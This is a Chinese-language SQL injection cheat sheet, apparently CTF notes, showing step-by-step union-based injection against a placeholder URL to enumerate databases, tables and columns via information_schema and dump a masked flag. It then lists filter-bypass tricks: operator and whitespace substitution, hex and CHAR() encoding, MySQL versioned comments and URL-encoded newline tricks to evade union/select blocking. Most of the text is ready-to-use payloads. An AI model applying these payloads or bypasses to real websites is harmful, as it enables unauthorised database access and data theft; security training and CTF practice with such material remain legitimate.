常用:
//order by和union select后接的数字个数如果和当前表的列数不同会报错。故可通过以下语句对列数进行判定。
http://xxx.com/index.php?id=1 order by 3
//判断哪一列的数据可回显,一般用在有回显的情况,但大部分情况都是需要报错注入或者时间盲注的。union前面用id=-1(不存在的值)可以把多余的东西去掉。
http://xxx.com/index.php?id=-1 union select 1,2,3
//在可回显的那一列用database()回显数据库名,也可以通过user()回显用户
http://xxx.com/index.php?id=-1 union select 1,database(),3
//回显,库名
sqli
//MySQL默认存在information_schema数据库,通过该数据库回显表名,列名
http://xxx.com/index.php?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='sqli'
//回显,表名
info
//注入info表的列名
http://xxx.com/index.php?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='info'
//列名
id,title,flAg_T5ZNdrm
//注入sqli.info
http://xxx.com/index.php?id=-1 union select 1,group_concat(id,title,flAg_T5ZNdrm),3 from sqli.info
//内容(flag打码)
1flag{在数据库中}flag{xxxxxxxxxxxxxxxxxxxxxxxx},2testtest
tricks:
1.&代替and,&&代替and,网页中涉及url编码用%26%26。
2.-1=-1代替1=1,True代替1=1,False代替1=2。
3.尝试 <> /**/ 等符号绕过防御函数,代替空格。
4.0xhex 在MySQL中会被转义为string型。
select * from test where id=0x7573657233;
5.mysql CHAR()+if(expr,1,0)
select * from test where id=CHAR(117, 115, 101, 114, 51+if(length(user/**/())=14,0,1));
6.如果当前数据库版本高于/*!10044*/
,则跟在后面的sql语句也会被执行。
/*!10044*/
绕过union select:
/*!10044union*/ /*!10044select 1,2,3*/–+
union /*!10044select 1,2,3*/–+
%23QQQ%0Aunion%23QQQQ%0A绕过union select、database():
%23QQQ%0Aunion%23QQQQ%0Aselect 1,2,3–+
%23QQQ%0Aunion%23QQQQ%0Aselect1,database/*!()*/,3–+
/*!60000ghtwf01*/
绕过order by、union select:
order/*!60000ghtwf01*/by
union/*!60000ghtwf01*/select
查询数据库名:
id=0' union/*!60000ghtwf01*//*!00000select*/ 1,2,schema_name from information_schema.schemata limit 0,1--+
查表名:
id=0' union/*!60000ghtwf01*//*!00000select*/ 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1--+
查询列名:
id=0' union/*!60000ghtwf01*//*!00000select*/ 1,2,username from users limit 0,1--+